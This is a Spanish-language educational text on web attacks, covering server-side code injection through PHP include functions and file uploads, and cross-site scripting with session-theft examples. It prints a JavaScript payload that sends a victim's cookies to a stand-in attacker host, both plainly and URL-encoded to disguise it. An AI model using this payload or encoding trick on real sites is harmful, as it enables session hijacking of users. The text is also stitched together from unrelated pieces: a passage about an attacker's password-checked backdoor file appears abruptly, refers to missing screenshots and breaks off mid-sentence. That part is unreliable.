INYECCIÓN DE CODIGO O COMANDOS EN EL SERVIDOR:
La inyección de código en el servidor, también denominada “server-side code injection”, consiste en la inclusión, local, o remota, de contenido ajeno a la aplicación por parte de un atacante, con el fin de obtener ejecución de comandos con los privilegios que se ejecute el servidor web. Se presenta generalmente en dos formas diferentes:
La primera de ellas por el uso inapropiado de funciones contenidas en el lenguaje que debido a su potencia y versatilidad pueden llevar a la citada ejecución de comandos.
La segunda tiene que ver con un control incorrecto de los datos que se almacenan en ficheros potencialmente ejecutables.
- El primer modelo de error generalmente está presente en aplicaciones PHP ante el uso de funciones como include, include_once, require o require_once. La potencia y versatilidad de estas funciones, que permiten leer e interpretar cualquier fichero como contenido php, bien sea de forma local, o remota a través de protocolos como http, ftp e incluso samba, hace que para uso se deban seguir una serie de pasos que eviten situaciones indeseables a continuación se muestra un ejemplo.

Otro detalle de este archivo, tal como puede verse en la captura siguiente, es que el atacante realiza una comprobación mediante MD5.
En la sección de código puede observarse que el MD5 es aplicado dos veces consecutivas (para incrementar la complejidad) sobre una cadena de texto para certificar que es realmente el atacante propietario de dicho archivo quien está realizando la petición al servidor comprometido. Este cadena de texto, que cumple la función de una contraseña, es pasada por parámetro en la URL de la forma “p=[CONTRASEÑA]”. De esta forma la única manera de poder ejecutar el archivo de forma completa y obtener los resultados deseados es teniendo la cadena de , la cual aplicando MD5 dos veces seguidas, devuelve el hash por el cual comprueba y se cumpla la condición.
El paso siguiente que realiza el código es solucionar la vulnerabilidad en el servidor luego de que el archivo ya se encuentra dentro del mismo. En la siguiente imagen se puede observar la sección de código q
El segundo modelo puede presentarse en cualquiera de los lenguajes y está vinculado a la salida a disco de datos suministrados por el usuario. Dentro de este modelo encontramos también dos divisiones:
La primera será aquellos casos en los que no exista un SGBD propiamente dicho, y se usen ficheros de disco para almacenar datos. Esto que puede parecer extraño, es bastante común en sistemas de gestión de contenido, que pre generan el contenido a mostrar y lo almacenan en disco para economizar tiempos de acceso. Los datos pueden ser de la más diversa índole, desde datos propios del perfil de un usuario, hasta acciones de este como envíos de comentarios, mensajes o noticias. El segundo grupo será la subida de ficheros al servidor por parte de un usuario. En estos casos la validación y control de los datos almacenados por el usuario deberá ser máxima.
INYECCIÓN DE CÓDIGO HTML EN CLIENTE
Este error, también denominado “Cross-Site Scripting”, abreviado XSS, se fundamenta en inyectar dentro de la aplicación código HTML que al ser mostrado en el navegador de la víctima del ataque pueda alterar su comportamiento normal. Esto nos da 2 ideas claves en torno a este ataque:
La primera es un ataque pasivo. Es necesario que la victima realice una determinada acción, como por ejemplo visitar una determinada web, para sufrir dicho ataque.
La segunda, es cuando ataque se produce en el cliente, y nunca en el servidor. Es decir, lo que se ataca es a un cliente conectado a un servidor, y no al propio servidor.
Este tipo de ataque no siempre presenta un riesgo para la seguridad, sin embargo es cierto que existen determinados escenarios en los cuales la inyección de código HTML en el contexto de un cliente se convierte en un problema para la seguridad, tanto del cliente, como del servidor. Veámoslos:
El primer escenario es el robo de credenciales de un cliente autenticado en la aplicación.
Este tipo de ataque es posible debido a los sistemas de control de sesiones que implementan las aplicaciones web. Generalmente una aplicación se decanta por una de las siguientes formas de control de la sesión del usuario: una variable en la aplicación o una cookie. Tanto una como otra contendrán el identificador de sesión (sid), consistente en una cadena de texto, usualmente alfanumérica, de una longitud suficiente como para garantizar la imposibilidad de colisiones entre identificadores de usuario. Este identificador se obtiene una vez superada la autenticación y generalmente se amplía la seguridad asociándolo a una IP y delimitando el tiempo de uso del mismo. Estas credenciales son almacenadas por el navegador, por tanto, inyectando HTML, concretamente javascript, dentro de una aplicación es factible robar las credenciales de un usuario de manera más o menos trivial, con una simple llamada a un servidor controlado por el atacante el cual almacene dichas credenciales. Este ataque se ve dificultado en numerosas ocasiones por un control de la IP del usuario legítimo de la aplicación. No obstante recordemos que la existencia de proxys intermedios en los proveedores de servicio, así como de intranets con IP compartida mediante NAT, hacen que siga siendo posible este tipo de ataque.
Como ejemplo, usaremos una inyección de código HTML existente en Netscape Messenger Express. El cual al insertar una referencia a un contenido externo, permitía capturar el contenido del campo HTTP_REFERER con el identificador de sesión en él. Paralelamente un inapropiado control de la IP del usuario por parte de algunos proveedores de servicios, como por ejemplo Terra, permitía el robo de sesiones de usuario. Además de robar sesiones de usuario, es posible en aquellas aplicaciones que incorporan funcionalidades sobre el servidor, invocarlas ante la ejecución de una inyección de HTML en la aplicación. Así sucede actualmente con Horde/IMP, popular webmail escrito en PHP. Horde/IMP permite una inyección de HTML en el campo Subject ( Asunto ) de los mensajes de email. Generalmente este problema no debería ir más allá de capturar la sesión del usuario, pero la existencia de privilegios extendidos para los administradores de Horde, así como de que Horde sea usado como plataforma de lectura de correo por aplicaciones como CPanel, hace que sea posible ejecutar comandos sobre el servidor a partir de un sencillo ataque de inyección de código.
La solución a este tipo de problemas pasa por la creación de una función de impresión segura, la cual remplace los caracteres “<” y “>” por “<” y “>”, para su correcta representación sin peligro en los navegadores web.
Ejemplo
Supongamos que la página de inicio de CómoFunciona.net es vulnerable a un ataque por secuencia de comandos entre páginas Web ya que en ella puede aparecer un mensaje de bienvenida con el nombre del usuario como un parámetro:
http://es.kioskea.net/?nom=Jeff
Una persona malintencionada podría llevar a cabo un ataque XSS al proporcionar a la víctima una dirección que remplace el nombre "Jeff" con un código HTML. En especial, podría transferir el siguiente código Javascript como un parámetro para redireccionar al usuario a una página controlada por el pirata:
<SCRIPT> document.location='http://site.pirate/cgi- bin/script.cgi?'+document.cookie </SCRIPT>
bin/script.cgi?'+document.cookie </SCRIPT>
El código anterior recupera las cookies del usuario y las envía como parámetros a una secuencia de comandos CGI. El siguiente código transferido como un parámetro sería demasiado obvio:
http://es.kioskea.net/?nom=<SCRIPT>document.location ='http://site.pirate/cgi-bin/script.cgi?'+document.cookie</SCRIPT>
No obstante, la codificación de la dirección URL permite ocultar el ataque:
http://es.kioskea.net/?nom=%3c%53%43%52%49%50%54%3e%64%6f%63%75%6d%65% 6e%74%2e%6c%6f%63%61%74%69%6f%6e%3d%5c%27%68%74%74%70%3a%2f%2f%73%69%74% 65%2e%70%69%72%61%74%65%2f%63%67%69%2d%62%69%6e%2f%73%63%72%69%70%74%2e% 63%67%69%3f%5c%27%20%64%6f%63%75%6d%65%6e%74%2e%63%6f%6f%6b%69%65%3c%2f% 53%43%52%49%50%54%3e
Descargue el documento en PDF
Ver presentación Online